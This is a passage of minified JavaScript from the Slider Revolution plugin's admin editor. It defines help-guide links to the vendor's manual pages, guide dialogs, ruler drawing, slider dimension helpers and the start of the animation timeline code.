Actions",icon:"fullscreen",link:"https://www.sliderrevolution.com/manual/adding-and-configuring-fullscreen-actions/",type:"ACTIONS",scan:[{target:"action",path:"action",checkValue:"togglefullscreen,gofullscreen,exitfullscreen"}]},{name:"Arrow Navigation",icon:"swap_horiz",link:"https://www.sliderrevolution.com/manual/activate-and-configure-arrow-navigation/",type:"SLIDER",scan:[{target:"slider",path:"settings.nav.arrows.set"}]},{name:"Bullet Navigation",icon:"more_horiz",link:"https://www.sliderrevolution.com/manual/activate-and-configure-bullet-navigation/",type:"SLIDER",scan:[{target:"slider",path:"settings.nav.bullets.set"}]},{name:"Tab Navigation",icon:"view_column",link:"https://www.sliderrevolution.com/manual/activate-and-configure-tab-navigation/",type:"SLIDER",scan:[{target:"slider",path:"settings.nav.tabs.set"}]},{name:"Thumbs Navigation",icon:"filter_frames",link:"https://www.sliderrevolution.com/manual/add-and-configure-thumbs-navigation/",type:"SLIDER",scan:[{target:"slider",path:"settings.nav.thumbs.set"}]},{name:"Touch, Mouse & Keyboard Navigation",icon:"touch_app",link:"https://www.sliderrevolution.com/manual/configuring-module-navigation-with-touch-keyboard-mouse/",type:"SLIDER",scan:[{target:"slider",path:"settings.nav.mouse.set",unValue:"off"},{target:"slider",path:"settings.nav.swipe.set"},{target:"slider",path:"settings.nav.keyboard.set"}]},{name:"Navigation Editor",icon:"edit_note",link:"https://www.sliderrevolution.com/manual/make-custom-navigation-skins-using-the-navigation-editor/",type:"SLIDER",scan:[{target:"slider",path:"settings.nav.arrows.set"},{target:"slider",path:"settings.nav.bullets.set"},{target:"slider",path:"settings.nav.tabs.set"},{target:"slider",path:"settings.nav.thumbs.set"}]}]},{id:"guideAnimations",title:"Animations",links:[{name:"Slide Transitions",icon:"movie",link:"https://www.sliderrevolution.com/manual/setting-slide-transition-animations/",scan:!1,type:"SLIDES"},{name:"Layer Animation",icon:"play_arrow",link:"https://www.sliderrevolution.com/manual/the-fundamentals-of-animation-in-slider-revolution/#h-learning-path-edit-simple-animations",scan:!1,type:"LAYERS"},{name:"Keyframe Animation",icon:"animation",link:"https://www.sliderrevolution.com/manual/the-fundamentals-of-animation-in-slider-revolution/#h-learning-path-multi-keyframe-animations",scan:!1,type:"LAYERS"}]},{id:"guideAddons",title:"Addons",links:[{name:"Managing Addons",icon:"settings_applications",link:"https://www.sliderrevolution.com/manual/browse-install-and-enable-addons/",scan:!1,type:"ADDONS"},{name:"Advanced Transitions",icon:"movie",link:"https://www.sliderrevolution.com/manual/how-to-use-the-advanced-transitions-addon/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-transitionpack-addon.enable"}]},{name:"Lottie Animations",icon:"whatshot",link:"https://www.sliderrevolution.com/manual/lottie-addon-quick-start/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-lottie-addon.enable"}]},{name:"Scroll Video",icon:"movie",link:"https://www.sliderrevolution.com/manual/scroll-video-addon-guide/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-scrollvideo-addon.enable"}]},{name:"Particle Effects",icon:"blur_on",link:"https://www.sliderrevolution.com/manual/particle-effects-quick-start/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-particles-addon.enable"}]},{name:"Particle Wave",icon:"leaderboard",link:"https://www.sliderrevolution.com/manual/particle-wave-quick-start/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-particlewave-addon.enable"}]},{name:"Distortion",icon:"fingerprint",link:"https://www.sliderrevolution.com/manual/distortion-quick-start/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-liquideffect-addon.enable"}]},{name:"Before & After",icon:"flip",link:"https://www.sliderrevolution.com/manual/before-after-quick-start/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-beforeafter-addon.enable"}]},{name:"Slicey",icon:"picture_in_picture_alt",link:"https://www.sliderrevolution.com/manual/slicey-addon-guide/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-slicey-addon.enable"}]},{name:"Paintbrush",icon:"format_paint",link:"https://www.sliderrevolution.com/manual/paintbrush-addon-guide/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-paintbrush-addon.enable"}]},{name:"Bubble Morph",icon:"bubble_chart",link:"https://www.sliderrevolution.com/manual/bubble-morph-addon-guide/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-bubblemorph-addon.enable"}]},{name:"Customizing Particle Wave",icon:"leaderboard",link:"https://www.sliderrevolution.com/manual/customizing-particle-waves/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-particlewave-addon.enable"}]},{name:"Mousetrap",icon:"my_location",link:"https://www.sliderrevolution.com/manual/mousetrap-addon-guide/",type:"ADDONS",scan:[{target:"slider",path:"settings.addOns.revslider-mousetrap-addon.enable"}]}]},{id:"guideOptPublish",title:"Optimizing & Publishing",links:[{name:"Ensuring Responsiveness",icon:"equalizer",link:"https://www.sliderrevolution.com/manual/checking-to-ensure-modified-content-is-still-responsive/",scan:!1,type:"SLIDER"},{name:"Optimzing Load Speed & Performance",icon:"tune",link:"https://www.sliderrevolution.com/tutorials/optimizing-load-speed-and-performance/",scan:!1,type:"SLIDER"},{name:"Embedding Modules",icon:"add_card",link:"https://www.sliderrevolution.com/manual/add-modules-to-a-page/",scan:!1,type:"SLIDER"}]}]:[{id:"guideModuleAddingContent",title:"Adding Content",links:[{name:"Adding Layers",icon:"layers",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-your-own-layers/"},{name:"Adding Text",icon:"edit",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/configuring-custom-text-layers/"},{name:"Adding Images",icon:"image",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-image-layers/"},{name:"Adding Buttons",icon:"add_box",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-button-layers/"},{name:"Adding Shapes",icon:"interests",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-shape-layers/"},{name:"Adding Videos",icon:"movie",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-video-layers/"},{name:"Adding Audio",icon:"music_note",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-audio-layers/"},{name:"Adding Icons/SVG",icon:"filter_drama",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-icon-and-svg-layers/"},{name:"Backgrounds",icon:"wallpaper",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/configuring-the-background-layer/"}]},{id:"guideModuleGeneralOptions",title:"Module General Options",links:[{name:"Quick Start Guide",icon:"settings",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/custom-module-quick-start/"}]},{id:"guideModuleUserInteractions",title:"User Interactions",links:[{name:"Link Actions",icon:"link",type:"ACTIONS",scan:!1,link:"https://www.sliderrevolution.com/manual/add-and-configure-link-actions/"},{name:"Slide Actions",icon:"slideshow",type:"ACTIONS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-slide-actions/"},{name:"Layer Actions",icon:"layers",type:"ACTIONS",scan:!1,link:"https://www.sliderrevolution.com/manual/add-and-configure-layer-actions/"},{name:"Media Actions",icon:"pause",type:"ACTIONS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-media-actions/"},{name:"Full Screen Actions",icon:"fullscreen",type:"ACTIONS",scan:!1,link:"https://www.sliderrevolution.com/manual/adding-and-configuring-fullscreen-actions/"},{name:"Arrow Navigation",icon:"swap_horiz",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/activate-and-configure-arrow-navigation/"},{name:"Bullet Navigation",icon:"more_horiz",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/activate-and-configure-bullet-navigation/"},{name:"Tab Navigation",icon:"view_column",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/activate-and-configure-tab-navigation/"},{name:"Thumbs Navigation",icon:"filter_frames",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/add-and-configure-thumbs-navigation/"},{name:"Touch, Mouse & Keyboard Navigation",icon:"touch_app",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/configuring-module-navigation-with-touch-keyboard-mouse/"},{name:"Navigation Editor",icon:"edit_note",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/make-custom-navigation-skins-using-the-navigation-editor/"}]},{id:"guideModuleAnimations",title:"Animations",links:[{name:"Slide Transitions",icon:"movie",type:"SLIDER",scan:!1,link:"https://www.sliderrevolution.com/manual/setting-slide-transition-animations/"},{name:"Layer Animation",icon:"play_arrow",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/the-fundamentals-of-animation-in-slider-revolution/#h-learning-path-edit-simple-animations"},{name:"Keyframe Animation",icon:"animation",type:"LAYERS",scan:!1,link:"https://www.sliderrevolution.com/manual/the-fundamentals-of-animation-in-slider-revolution/#h-learning-path-multi-keyframe-animations"}]},{id:"guideModuleAddons",title:"Addons",links:[{name:"Managing Addons",icon:"settings_applications",link:"https://www.sliderrevolution.com/manual/browse-install-and-enable-addons/",scan:!1,type:"ADDONS"},{name:"Advanced Transitions",icon:"movie",link:"https://www.sliderrevolution.com/manual/how-to-use-the-advanced-transitions-addon/",type:"ADDONS",scan:!1},{name:"Lottie Animations",icon:"whatshot",link:"https://www.sliderrevolution.com/manual/lottie-addon-quick-start/",type:"ADDONS",scan:!1},{name:"Scroll Video",icon:"movie",link:"https://www.sliderrevolution.com/manual/scroll-video-addon-guide/",type:"ADDONS",scan:!1},{name:"Particle Effects",icon:"blur_on",link:"https://www.sliderrevolution.com/manual/particle-effects-quick-start/",type:"ADDONS",scan:!1},{name:"Particle Wave",icon:"leaderboard",link:"https://www.sliderrevolution.com/manual/particle-wave-quick-start/",type:"ADDONS",scan:!1},{name:"Distortion",icon:"fingerprint",link:"https://www.sliderrevolution.com/manual/distortion-quick-start/",type:"ADDONS",scan:!1},{name:"Before & After",icon:"flip",link:"https://www.sliderrevolution.com/manual/before-after-quick-start/",type:"ADDONS",scan:!1},{name:"Slicey",icon:"picture_in_picture_alt",link:"https://www.sliderrevolution.com/manual/slicey-addon-guide/",type:"ADDONS",scan:!1},{name:"Paintbrush",icon:"format_paint",link:"https://www.sliderrevolution.com/manual/paintbrush-addon-guide/",type:"ADDONS",scan:!1},{name:"Bubble Morph",icon:"bubble_chart",link:"https://www.sliderrevolution.com/manual/bubble-morph-addon-guide/",type:"ADDONS",scan:!1},{name:"Customizing Particle Wave",icon:"leaderboard",link:"https://www.sliderrevolution.com/manual/customizing-particle-waves/",type:"ADDONS",scan:!1},{name:"Mousetrap",icon:"my_location",link:"https://www.sliderrevolution.com/manual/mousetrap-addon-guide/",type:"ADDONS",scan:!1}]},{id:"guideModuleOptiPublish",title:"Optimizing & Publishing",links:[{name:"Ensuring Responsiveness",icon:"equalizer",link:"https://www.sliderrevolution.com/manual/checking-to-ensure-modified-content-is-still-responsive/",scan:!1,type:"SLIDER"},{name:"Optimzing Load Speed & Performance",icon:"tune",link:"https://www.sliderrevolution.com/tutorials/optimizing-load-speed-and-performance/",scan:!1,type:"SLIDER"},{name:"Embedding Modules",icon:"add_card",link:"https://www.sliderrevolution.com/manual/add-modules-to-a-page/",scan:!1,type:"SLIDER"}]}],"module"===e){document.querySelector("#gm_load_tmplib").addEventListener("click",function(e){e.stopPropagation(),document.location.href=RVS.ENV.admin_url+"#template_library"}),f(rbm_module_guide),i=void 0!==RVS.ENV.guide&&void 0!==RVS.ENV.guide.bottom&&RVS.ENV.guide.bottom.title?RVS.ENV.guide.bottom.title:"Load A Template From The Library",a=void 0!==RVS.ENV.guide&&void 0!==RVS.ENV.guide.bottom&&RVS.ENV.guide.bottom.img?RVS.ENV.guide.bottom.img:RVS.ENV.plugin_url+"admin/assets/images/guide/guide_mod_banner.png",document.querySelector("#rbm_module_guide .gm_br_desc").innerHTML=i,document.querySelector("#rbm_module_guide .gm_br_banner img").setAttribute("src",a)}else{var i=void 0===RVS.ENV.tempGuide||""===RVS.ENV.tempGuide.title?"Require Expert Technical Advice?
    Submit a Ticket for Dedicated 1on1 Help.":RVS.ENV.tempGuide.title,a=void 0===RVS.ENV.tempGuide||""===RVS.ENV.tempGuide.img?RVS.ENV.plugin_url+"admin/assets/images/guide/guide_temp_banner.jpg":RVS.ENV.tempGuide.img,r=void 0===RVS.ENV.tempGuide||""===RVS.ENV.tempGuide.url?"https://account.sliderrevolution.com/portal/?redirect_to=supportsystem":RVS.ENV.tempGuide.url,s=void 0===RVS.ENV.tempGuide||""===RVS.ENV.tempGuide.template_img?RVS.ENV.plugin_url+"admin/assets/images/guide/guide_temp_thumb.jpg":RVS.ENV.tempGuide.template_img;r+=(r.includes("?")?"&":"?")+"utm_source=admin&utm_medium=button&utm_campaign=editorguide&utm_content=templatetutorial",document.querySelector("#rbm_template_guide .gm_br_desc").innerHTML=i,document.querySelector("#rbm_template_guide .gm_br_banner img").setAttribute("src",a),document.querySelector("#rbm_template_guide .gm_tl_thumb1").setAttribute("src",s),document.querySelector("#rbm_template_guide .gm_tl_thumb2").setAttribute("src",s),gm_temp_tut.setAttribute("href",r),f(rbm_template_guide),gm_tl_title.textContent=void 0!==RVS.ENV.tempGuide&&RVS.ENV.tempGuide.template_title?RVS.ENV.tempGuide.template_title:RVS.SLIDER.settings.title,void 0!==RVS.ENV.tempGuide&&!r.includes("supportsystem")||RVS.ENV.activated||gm_temp_tut.addEventListener("click",function(e){e.preventDefault(),RVS.F.showRegisterSliderInfo()})}document.querySelector("#gt_global_settings").addEventListener("click",function(){document.location.href=RVS.ENV.admin_url+"#global_settings"}),RVS.F.createHelpLinks(t,"template"===e?".gm_template_collection":".gm_module_collection"),RVS.DOC.on("click",".gm_guide_tile",function(t){var i=document.querySelector("#"+this.getAttribute("data-guide"));tpGS.gsap.set(".gm_guide_links_wrap",{display:"none"}),tpGS.gsap.set(i,{display:"grid"});var a=this.getBoundingClientRect(),r=i.getBoundingClientRect(),s=document.querySelector("template"===e?"#rbm_template_guide .gm_content":"#rbm_module_guide .gm_content").getBoundingClientRect();tpGS.gsap.set(i,{width:a.width,x:a.left-s.left,y:s.height-(a.top-s.top)>=r.height?a.top-s.top:a.bottom-s.top-r.height})}),RVS.DOC.on("click",".gm_close_guide_links",function(e){tpGS.gsap.set(".gm_guide_links_wrap",{display:"none"})}),RVS.DOC.on("click","#gt_close",function(){tpGS.gsap.set(guide_tooltip,{display:"none"})});var o=function(){RVS.DOC.on("click","#rbm_template_guide .rbm_close, #rbm_module_guide .rbm_close",function(){if(RVS.F.RSDialog.close(),!guide_tooltip.dataset.showedOnce&&("template"!==e||RVS.globals.templateGuide)&&RVS.globals.moduleGuide){var t=document.querySelector(".help_wrap").getBoundingClientRect();tpGS.gsap.fromTo(guide_tooltip,{opacity:0,x:t.left+t.width/2-250,y:t.bottom+10},{opacity:1,display:"block",onComplete:function(){tpGS.gsap.to(guide_tooltip,{delay:9,opacity:0,display:"none"})}}),guide_tooltip.dataset.showedOnce=!0}}),"template"===e?(RVS.globals.templateGuide&&RVS.F.RSDialog.create({modalid:"rbm_template_guide",bgopacity:.85}),tpGS.gsap.set("#help_menu_module, #gt_module_title",{display:"none"}),help_menu_template.addEventListener("click",function(e){e.stopPropagation(),RVS.F.RSDialog.create({modalid:"rbm_template_guide",bgopacity:.85})})):"module"===e&&(RVS.ENV.unsaved&&RVS.globals.moduleGuide&&RVS.F.RSDialog.create({modalid:"rbm_module_guide",bgopacity:.85}),tpGS.gsap.set("#help_menu_template, #gt_template_title",{display:"none"}),help_menu_module.addEventListener("click",function(e){e.stopPropagation(),RVS.F.RSDialog.create({modalid:"rbm_module_guide",bgopacity:.85})}))};g("template"===e?rbm_template_guide:rbm_module_guide),window.initGlobalSettings?o():RVS.DOC.on("globalSettingsInited",o)},RVS.F.createHelpLinks=function(e,t){for(var i=document.querySelector(t),a=0;a1:RVS.S.isRetina,RVS.S.isIOS=void 0===RVS.S.isIOS?r.webkitBackingStorePixelRatio<2||null==r.webkitBackingStorePixelRatio:RVS.S.isIOS,RVS.S.retinaFactor=void 0===RVS.S.retinaFactor?RVS.S.isRetina&&RVS.S.isIOS?2:1:RVS.S.retinaFactor,r.canvas.width=3600*RVS.S.retinaFactor,r.canvas.height=15*RVS.S.retinaFactor,s.canvas.width=15*RVS.S.retinaFactor,s.canvas.height=3600*RVS.S.retinaFactor,r.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),s.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),r.strokeStyle=s.strokeStyle="#414243",r.font="10px Arial",s.font="10px Arial",r.fillStyle="rgba(183,187,192,0.5)",s.fillStyle="rgba(183,187,192,0.5)",r.beginPath(),s.beginPath();for(var n=0;n<600;n++)o%2!=0&&0!==o?(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,15-8/RVS.S.retinaFactor),s.moveTo(15,10*n*RVS.zoom),s.lineTo(15-8/RVS.S.retinaFactor,10*n*RVS.zoom)):0===o?(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,0),s.moveTo(15,10*n*RVS.zoom),s.lineTo(0,10*n*RVS.zoom)):(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,15-8/RVS.S.retinaFactor),s.moveTo(15,10*n*RVS.zoom),s.lineTo(15-8/RVS.S.retinaFactor,10*n*RVS.zoom)),o=10==++o?0:o;r.stroke(),s.stroke();for(n=0;n<60;n++){var l=100*(n-12),d=(""+l).split("");for(var S in r.fillText(l,(100*n+5)*RVS.zoom,10),d)s.fillText(d[S],3,(100*n+14)*RVS.zoom+9*S)}tpGS.gsap.set(i,{left:Math.round(-1200*RVS.zoom)+"px"}),tpGS.gsap.set(a,{top:Math.round(-1200*RVS.zoom)+"px"}),void 0===e&&(R.width=t.width(),RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()},m=RVS.C.rb.offset())},RVS.F.openSliderApi=function(){"FAIL"!==window.rs_jscss_editor&&("undefined"==typeof RevMirror||void 0===RevMirror?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.openSliderApi()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.rs_jscss_editor="FAIL"})):void 0===window.rs_jscss_editor?(window.rs_jscss_editor=RevMirror(document.getElementById("rs_css_js_area"),{value:RVS.SLIDER.settings.codes.css,mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!0}),window.rs_jscss_editor.on("focus",function(){window.rs_jscss_editor.refresh()}),setTimeout(RVS.F.openSliderApi,200)):(RVS.F.RSDialog.create({modalid:"rbm_slider_api",bgopacity:.5}),jQuery(".emc_toggle_inner").RSScroll({suppressScrollX:!0}),setTimeout(function(){window.rs_jscss_editor.refresh()},600)))},RVS.F.openColorSkinApi=function(){RVS.F.RSDialog.create({modalid:"rbm_colorskins",bgopacity:0}),RVS.F.updateEasyInputs({container:jQuery("#rbm_colorskins"),path:"settings."}),RVS.F.initTpColorBoxes(jQuery("#rbm_colorskins").find(".my-color-field"))},RVS.F.JWALL=function(){return"carousel"===RVS.SLIDER.settings.type&&!0===RVS.SLIDER.settings.carousel.justify},RVS.F.CSTRETCH=function(){return"carousel"===RVS.SLIDER.settings.type&&(!0===RVS.SLIDER.settings.carousel.stretch||"v"==RVS.SLIDER.settings.carousel.orientation)},RVS.F.CVERT=function(){return"carousel"===RVS.SLIDER.settings.type&&"v"==RVS.SLIDER.settings.carousel.orientation},RVS.F.CHOR=function(){return"carousel"===RVS.SLIDER.settings.type&&"v"!=RVS.SLIDER.settings.carousel.orientation},RVS.F.GW=function(e){var t=parseInt(RVS.SLIDER.settings.size.width[e],0);if(RVS.F.JWALL()){var i=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId?RVS.S.lastShownSlideId:RVS.S.slideId;"image"!==RVS.SLIDER[i].slide.bg.type&&"external"!==RVS.SLIDER[i].slide.bg.type||void 0!==RVS.SLIDER[i].slide.bg.imageRatio&&(t=parseInt(RVS.SLIDER.settings.size.height[e],0)*RVS.SLIDER[i].slide.bg.imageRatio)}else if(RVS.F.CSTRETCH())i=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId?RVS.S.lastShownSlideId:RVS.S.slideId;return t},RVS.F.sliderDimensionOffsets=function(){var e={};return e.carouseltop="carousel"===RVS.SLIDER.settings.type?parseInt(RVS.SLIDER.settings.carousel.paddingTop,0):0,e.carouselbottom="carousel"===RVS.SLIDER.settings.type?parseInt(RVS.SLIDER.settings.carousel.paddingBottom,0):0,e.carouseloffset="carousel"===RVS.SLIDER.settings.type?e.carouseltop+e.carouselbottom:0,e.navtop="outer-top"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.top:0,e.navtop="outer-top"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.top:e.navtop,e.navbottom="outer-bottom"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.bottom:0,e.navbottom="outer-bottom"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.bottom:e.navbottom,e.navleft="outer-left"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.left:0,e.navleft="outer-left"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.left:e.navleft,e.navright="outer-right"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.right:0,e.navright="outer-right"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.right:e.navright,e.louter="outer-left"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set||"outer-left"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set,e.router="outer-right"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set||"outer-right"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set,e},RVS.F.updateMinSliderHeights=function(){return S=void 0===c?0:c,c=void 0!==RVS.C.layergrid?RVS.C.rZone.top.height()+RVS.C.rZone.middle.height()+RVS.C.rZone.bottom.height():0,S!==c},RVS.F.setSlidesDimension=function(e,t){O(e,t)},RVS.F.updateScreenShrinks=function(){var e=RVS.F.GW("d");for(var t in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(t)){var i=RVS.V.sizes[t],a=RVS.SLIDER.settings.size.custom[i]?RVS.F.GW(i):Math.min(e,RVS.ENV.grid_sizes[i]);RVS.S.shrink[i]=a/e,e=a}}}(), /*! * REVOLUTION 6.0.0 EDITOR TIMELINE JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ function(){var e,t,i,a,r,s,o,n,l,d=["chars","words","lines"],S=[];function c(e){var t=jQuery.extend(!0,{},e);return delete t.borderWidth,delete t.borderStyle,delete t.borderColor,delete t.backgroundColor,delete t.background,delete t.backgroundImage,delete t["backdrop-filter"],t}function p(e){return void 0===e?"start":"backward"===e?"end":"middletoedge"===e?"center":"edgetomiddle"===e?"edge":e}function u(e){e.from="edge"===e.from?"edges":e.from;let t=tpGS.gsap.utils.distribute(e);return function(i,a,r){return t(i,a,r)+(i<=r.length/2?0:e.offset||0)}}function R(e){var t;for(var i in e)"string"==typeof e[i]&&e[i].indexOf("|")>=0&&(t=e[i].replace("[","").replace("]","").split("|"),e[i]=new function(e){return tpGS.gsap.utils.wrap(t,void 0)});return e}function V(e,t,i){if(void 0!==e&&e.indexOf("block")>=0){var a={};switch(a.bmask_in=t.querySelector(".tp-blockmask_in"),null===a.bmask_in?(a.bmask_in=RVS.F.cE({cN:"tp-blockmask_in"}),a.bmask_out=RVS.F.cE({cN:"tp-blockmask_out"}),t.appendChild(a.bmask_in),t.appendChild(a.bmask_out)):a.bmask_out=t.querySelector(".tp-blockmask_out"),i=void 0===i?"power3.inOut":i,a.ft=[{scaleY:1,scaleX:0,transformOrigin:"0% 50%"},{scaleY:1,scaleX:1,ease:i,immediateRender:!1}],a.t={scaleY:1,scaleX:0,transformOrigin:"100% 50%",ease:i,immediateRender:!1},a.type="block",e){case"blocktoleft":case"blockfromright":a.ft[0].transformOrigin="100% 50%",a.t.transformOrigin="0% 50%";break;case"blockfromtop":case"blocktobottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 0%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 100%",ease:i,immediateRender:!1};break;case"blocktotop":case"blockfrombottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 100%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 0%",ease:i,immediateRender:!1}}return a.ft[1].overwrite="auto",a.t.overwrite="auto",a}return!1}function m(e){var t,i=void 0===e.source?jQuery.extend(!0,{},e.frame.transform):jQuery.extend(!0,{},e.frame[e.source]),a={originX:"50%",originY:"50%",originZ:"0"};for(var r in i)if(i.hasOwnProperty(r)){if(i[r]="object"==typeof i[r]?i[r][RVS.screen].v:i[r],"inherit"===i[r]||"delay"===r||"direction"===r||"use"===r||"fuse"===r)delete i[r];else if("originX"===r||"originY"===r||"originZ"===r)a[r]=i[r],delete i[r];else if("perspective"!==r&&"transformPerspective"!==r||"global"!==RVS.SLIDER.settings.general.perspectiveType&&"isometric"!==RVS.SLIDER.settings.general.perspectiveType||(i[r]="isometric"===RVS.SLIDER.settings.general.perspectiveType?0:RVS.SLIDER.settings.general.perspective),RVS.F.isNumeric(i[r],0))i[r]=i[r];else if(i[r].match(/[\{\}]/g))i[r]="random("+i[r].replace(/[\{&&\}]+/g,"")+")";else if(i[r].match(/%/g)&&RVS.F.isNumeric(parseInt(i[r],0)))t=void 0===t?{height:RVS.H[e.layerid].w.height(),width:RVS.H[e.layerid].w.width()}:t,i[r]="x"==r?t.width*parseInt(i[r],0)/100:"y"==r?t.height*parseInt(i[r],0)/100:i[r];else if(i[r].match(/[\[\]]/g)){var s=i[r].replace("[","").replace("]","").split("|");i[r]=new function(e){return tpGS.gsap.utils.wrap(s,void 0)}}else{var o=RVS.H[e.layerid].w.position(),n="slide"===RVS.L[e.layerid].behavior.baseAlign?RVS.S.layer_grid_offset.left:0,l=-1===RVS.L[e.layerid].group.puid?RVS.S.lgh:void 0===RVS.H[RVS.L[e.layerid].group.puid]?RVS.S.lgh:RVS.H[RVS.L[e.layerid].group.puid].w.height(),d=-1===RVS.L[e.layerid].group.puid?RVS.S.lgw:void 0===RVS.H[RVS.L[e.layerid].group.puid]?RVS.S.lgw:RVS.H[RVS.L[e.layerid].group.puid].w.width(),S={t:0,b:0};switch("row"===RVS.L[e.layerid].type&&("top"===RVS.L[e.layerid].group.puid?S={t:0,b:Math.round(RVS.C.rZone.top[0].offsetHeight)}:"middle"===RVS.L[e.layerid].group.puid?S={t:Math.round(RVS.S.ulDIM.height/2-RVS.C.rZone.middle[0].offsetHeight/2),b:Math.round(RVS.S.ulDIM.height/2+RVS.C.rZone.middle[0].offsetHeight/2)}:"bottom"===RVS.L[e.layerid].group.puid&&(S={t:Math.round(RVS.S.ulDIM.height-RVS.C.rZone.bottom[0].offsetHeight),b:RVS.S.ulDIM.height+RVS.C.rZone.bottom[0].offsetHeight})),t=void 0===t?{height:RVS.H[e.layerid].w.height(),width:RVS.H[e.layerid].w.width()}:t,i[r]){case"top":i[r]=0-t.height-o.top-S.b;break;case"bottom":i[r]=l-o.top-S.t;break;case"left":i[r]=n-t.width-o.left;break;case"right":i[r]=d-o.left;break;case"middle":case"center":i[r]="x"===r?d/2-o.left-t.width/2:"y"===r?l/2-o.top-t.height/2:i[r]}}"skewX"===r&&void 0!==i[r]&&0!==parseFloat(i[r])&&(i.scaleY=void 0===i.scaleY?1:parseFloat(i.scaleY),i.scaleY*=Math.cos(parseFloat(i[r])*tpGS.DEG2RAD)),"skewY"===r&&void 0!==i[r]&0!==parseFloat(i[r])&&(i.scaleX=void 0===i.scaleX?1:parseFloat(i.scaleX),i.scaleX*=Math.cos(parseFloat(i[r])*tpGS.DEG2RAD))}if(i.transformOrigin=a.originX+" "+a.originY+" "+a.originZ,i.clip&&RVS.L[e.layerid].timeline.clipPath.use){var c="rectangle"==RVS.L[e.layerid].timeline.clipPath.type,p=parseInt(i.clip,0),u=100-parseInt(i.clipB,0),R=Math.round(p/2);switch(RVS.L[e.layerid].timeline.clipPath.origin){case"invh":i.clipPath="polygon(0% 0%, 0% 100%, "+p+"% 100%, "+p+"% 0%, 100% 0%, 100% 100%, "+u+"% 100%, "+u+"% 